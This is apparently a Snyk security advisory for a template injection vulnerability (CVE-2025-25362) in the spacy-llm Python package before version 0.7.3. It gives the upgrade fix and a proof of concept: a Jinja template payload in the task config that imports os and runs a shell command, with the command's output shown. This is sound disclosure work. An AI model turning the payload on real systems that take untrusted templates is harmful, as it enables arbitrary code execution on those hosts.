Template Injection Affecting spacy-llm package, versions [,0.7.3)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-SPACYLLM-9357542
- published7 Mar 2025
- disclosed5 Mar 2025
- creditEdoardo Ottavianelli
Introduced: 5 Mar 2025
CVE-2025-25362 (opens in a new tab)How to fix?
Upgrade spacy-llm to version 0.7.3 or higher.
Overview
spacy-llm is an Integrating LLMs into structured NLP pipelines
Affected versions of this package are vulnerable to Template Injection via the template field. An attacker can execute arbitrary code by injecting a crafted payload.
PoC
import spacy
nlp = spacy.load("en_core_web_sm")
config = {
"task": {
"@llm_tasks": "spacy.Summarization.v1",
"max_n_words": 100,
"template": "{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}",
},
"model": {"@llm_models": "spacy.Dolly.v1", "name": "dolly-v2-3b"},
"save_io": True,
}
llm = nlp.add_pipe("llm", config=config)
doc = "test"
doc = nlp(doc)
print(doc.user_data["llm_io"]["llm"]["prompt"])
# ['uid=1000(edoardottt) gid=1000(edoardottt) groups=1000(edoardottt), ...']